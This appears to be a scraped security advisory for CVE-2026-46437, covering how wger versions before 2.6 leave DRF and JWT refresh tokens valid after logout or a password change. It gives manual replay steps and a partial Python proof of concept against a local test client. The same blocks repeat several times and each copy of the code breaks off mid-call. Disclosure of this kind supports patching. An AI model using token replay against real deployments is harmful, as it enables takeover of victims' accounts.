CVE-2026-46437

wger is a free, open-source workout and fitness manager. Versions prior to 2.6 have a vulnerability in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/* endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh). Version 2.6 contains a patch.

wger is a free, open-source workout and fitness manager. Versions prior to 2.6 have a vulnerability in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/* endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh). Version 2.6 contains a patch.

Summary

A vulnerability exists in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/* endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh). lifecycle events do not revoke these credentials:

• Logout (/user/logout) only clears the Django session cookie via django_logout() and does not revoke API tokens.
• Password change updates the password hash, but does not revoke:
  • existing DRF tokens stored in authtoken_token
  • existing JWT refresh tokens (no server-side revocation list or token versioning); refresh can continue minting new access tokens until refresh expiry.

Vulnerable Files

• wger/wger/core/views/user.py (logout implementation)
• wger/settings/settings_global.py (DRF auth configuration, SimpleJWT defaults)
• wger/settings/main.py (commonly used production defaults for JWT lifetimes)
• wger/wger/utils/api_token.py (authtoken rotation is manual only)

PoC (Proof of Concept)

Manual Exploitation Steps

1. Create a user account.
2. Obtain a JWT refresh token:
   • POST /api/v2/token with username/password.
3. Obtain a DRF token (API key):
   • use /user/api-key (or create token via admin/DB in a test environment).
4. Change password:
   • POST /<lang>/user/password/change with old_password, new_password1, new_password2.
5. Prove token replay:
   • Call a private endpoint using the old DRF token (should still return 200).
   • Call POST /api/v2/token/refresh using the old refresh token (should still return 200 and a new access token).

Automation PoC (Python)

Copy/paste runnable PoC (Django in-process test client; no dev server required):

import json
import os


def main() -> None:
    """
    PoC for IDENTITY-VULN-01:
    Proves that password change does not revoke:
      - DRF authtoken (Authorization: Token <key>)
      - JWT refresh tokens (still mint access tokens)

    This PoC runs entirely in-process using Django's test client + DRF APIClient.
    It does not require running the dev server.
    """

    os.environ.setdefault("DJANGO_SETTINGS_MODULE", "settings.main")
    # Ensure we use the local sqlite DB path used during setup
    os.environ.setdefault("DJANGO_DB_DATABASE", "db.sqlite3")
    os.environ.setdefault("DJANGO_MEDIA_ROOT", "media")

    import django

    django.setup()

    from django.conf import settings
    from django.contrib.auth.models import User
    from django.test import Client
    from rest_framework.authtoken.models import Token
    from rest_framework.test import APIClient

    username = "pwchange_user_poc"
    old_pw = "OldPassw0rd!"
    new_pw = "NewPassw0rd!"

    # Create a clean user + DRF token
    User.objects.filter(username=username).delete()
    user = User.objects.create_user(username=username, password=old_pw)
    Token.objects.filter(user=user).delete()
    drf_token = Token.objects.create(user=user).key

    api = APIClient()

    # Obtain JWT tokens with old password (proof baseline)
    r_obtain = api.post("/api/v2/token", {"username": username, "password": old_pw}, format="json")
    refresh = getattr(r_obtain, "data", {}).get("refresh")

    # Change password through the actual password change endpoint
    web = Client()
    web.force_login(user)
    r_pw = web.post(
        "/en/user/password/change",
        data={"old_password": old_pw, "new_password1": new_pw, "new_password2": new_pw},
        follow=False,
    )

    # Old password should fail now (sanity check)
    r_obtain_old = api.post(
        "/api/v2/token",
        {"username": username, "password": old_pw},
        format="json",
    )

    # New password should work
    r_obtain_new = api.post(
       …

wger is a free, open-source workout and fitness manager. Versions prior to 2.6 have a vulnerability in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/* endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh). Version 2.6 contains a patch.

wger is a free, open-source workout and fitness manager. Versions prior to 2.6 have a vulnerability in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/* endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh). Version 2.6 contains a patch.

Summary

A vulnerability exists in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/* endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh). lifecycle events do not revoke these credentials:

• Logout (/user/logout) only clears the Django session cookie via django_logout() and does not revoke API tokens.
• Password change updates the password hash, but does not revoke:
  • existing DRF tokens stored in authtoken_token
  • existing JWT refresh tokens (no server-side revocation list or token versioning); refresh can continue minting new access tokens until refresh expiry.

Vulnerable Files

• wger/wger/core/views/user.py (logout implementation)
• wger/settings/settings_global.py (DRF auth configuration, SimpleJWT defaults)
• wger/settings/main.py (commonly used production defaults for JWT lifetimes)
• wger/wger/utils/api_token.py (authtoken rotation is manual only)

PoC (Proof of Concept)

Manual Exploitation Steps

1. Create a user account.
2. Obtain a JWT refresh token:
   • POST /api/v2/token with username/password.
3. Obtain a DRF token (API key):
   • use /user/api-key (or create token via admin/DB in a test environment).
4. Change password:
   • POST /<lang>/user/password/change with old_password, new_password1, new_password2.
5. Prove token replay:
   • Call a private endpoint using the old DRF token (should still return 200).
   • Call POST /api/v2/token/refresh using the old refresh token (should still return 200 and a new access token).

Automation PoC (Python)

Copy/paste runnable PoC (Django in-process test client; no dev server required):

import json
import os


def main() -> None:
    """
    PoC for IDENTITY-VULN-01:
    Proves that password change does not revoke:
      - DRF authtoken (Authorization: Token <key>)
      - JWT refresh tokens (still mint access tokens)

    This PoC runs entirely in-process using Django's test client + DRF APIClient.
    It does not require running the dev server.
    """

    os.environ.setdefault("DJANGO_SETTINGS_MODULE", "settings.main")
    # Ensure we use the local sqlite DB path used during setup
    os.environ.setdefault("DJANGO_DB_DATABASE", "db.sqlite3")
    os.environ.setdefault("DJANGO_MEDIA_ROOT", "media")

    import django

    django.setup()

    from django.conf import settings
    from django.contrib.auth.models import User
    from django.test import Client
    from rest_framework.authtoken.models import Token
    from rest_framework.test import APIClient

    username = "pwchange_user_poc"
    old_pw = "OldPassw0rd!"
    new_pw = "NewPassw0rd!"

    # Create a clean user + DRF token
    User.objects.filter(username=username).delete()
    user = User.objects.create_user(username=username, password=old_pw)
    Token.objects.filter(user=user).delete()
    drf_token = Token.objects.create(user=user).key

    api = APIClient()

    # Obtain JWT tokens with old password (proof baseline)
    r_obtain = api.post("/api/v2/token", {"username": username, "password": old_pw}, format="json")
    refresh = getattr(r_obtain, "data", {}).get("refresh")

    # Change password through the actual password change endpoint
    web = Client()
    web.force_login(user)
    r_pw = web.post(
        "/en/user/password/change",
        data={"old_password": old_pw, "new_password1": new_pw, "new_password2": new_pw},
        follow=False,
    )

    # Old password should fail now (sanity check)
    r_obtain_old = api.post(
        "/api/v2/token",
        {"username": username, "password": old_pw},
        format="json",
    )

    # New password should work
    r_obtain_new = api.post(
       …

Summary

A vulnerability exists in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/* endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh). lifecycle events do not revoke these credentials:

• Logout (/user/logout) only clears the Django session cookie via django_logout() and does not revoke API tokens.
• Password change updates the password hash, but does not revoke:
  • existing DRF tokens stored in authtoken_token
  • existing JWT refresh tokens (no server-side revocation list or token versioning); refresh can continue minting new access tokens until refresh expiry.

Vulnerable Files

• wger/wger/core/views/user.py (logout implementation)
• wger/settings/settings_global.py (DRF auth configuration, SimpleJWT defaults)
• wger/settings/main.py (commonly used production defaults for JWT lifetimes)
• wger/wger/utils/api_token.py (authtoken rotation is manual only)

PoC (Proof of Concept)

Manual Exploitation Steps

1. Create a user account.
2. Obtain a JWT refresh token:
   • POST /api/v2/token with username/password.
3. Obtain a DRF token (API key):
   • use /user/api-key (or create token via admin/DB in a test environment).
4. Change password:
   • POST /<lang>/user/password/change with old_password, new_password1, new_password2.
5. Prove token replay:
   • Call a private endpoint using the old DRF token (should still return 200).
   • Call POST /api/v2/token/refresh using the old refresh token (should still return 200 and a new access token).

Automation PoC (Python)

Copy/paste runnable PoC (Django in-process test client; no dev server required):

import json
import os


def main() -> None:
    """
    PoC for IDENTITY-VULN-01:
    Proves that password change does not revoke:
      - DRF authtoken (Authorization: Token <key>)
      - JWT refresh tokens (still mint access tokens)

    This PoC runs entirely in-process using Django's test client + DRF APIClient.
    It does not require running the dev server.
    """

    os.environ.setdefault("DJANGO_SETTINGS_MODULE", "settings.main")
    # Ensure we use the local sqlite DB path used during setup
    os.environ.setdefault("DJANGO_DB_DATABASE", "db.sqlite3")
    os.environ.setdefault("DJANGO_MEDIA_ROOT", "media")

    import django

    django.setup()

    from django.conf import settings
    from django.contrib.auth.models import User
    from django.test import Client
    from rest_framework.authtoken.models import Token
    from rest_framework.test import APIClient

    username = "pwchange_user_poc"
    old_pw = "OldPassw0rd!"
    new_pw = "NewPassw0rd!"

    # Create a clean user + DRF token
    User.objects.filter(username=username).delete()
    user = User.objects.create_user(username=username, password=old_pw)
    Token.objects.filter(user=user).delete()
    drf_token = Token.objects.create(user=user).key

    api = APIClient()

    # Obtain JWT tokens with old password (proof baseline)
    r_obtain = api.post("/api/v2/token", {"username": username, "password": old_pw}, format="json")
    refresh = getattr(r_obtain, "data", {}).get("refresh")

    # Change password through the actual password change endpoint
    web = Client()
    web.force_login(user)
    r_pw = web.post(
        "/en/user/password/change",
        data={"old_password": old_pw, "new_password1": new_pw, "new_password2": new_pw},
        follow=False,
    )

    # Old password should fail now (sanity check)
    r_obtain_old = api.post(
        "/api/v2/token",
        {"username": username, "password": old_pw},
        format="json",
    )

    # New password should work
    r_obtain_new = api.post(
       …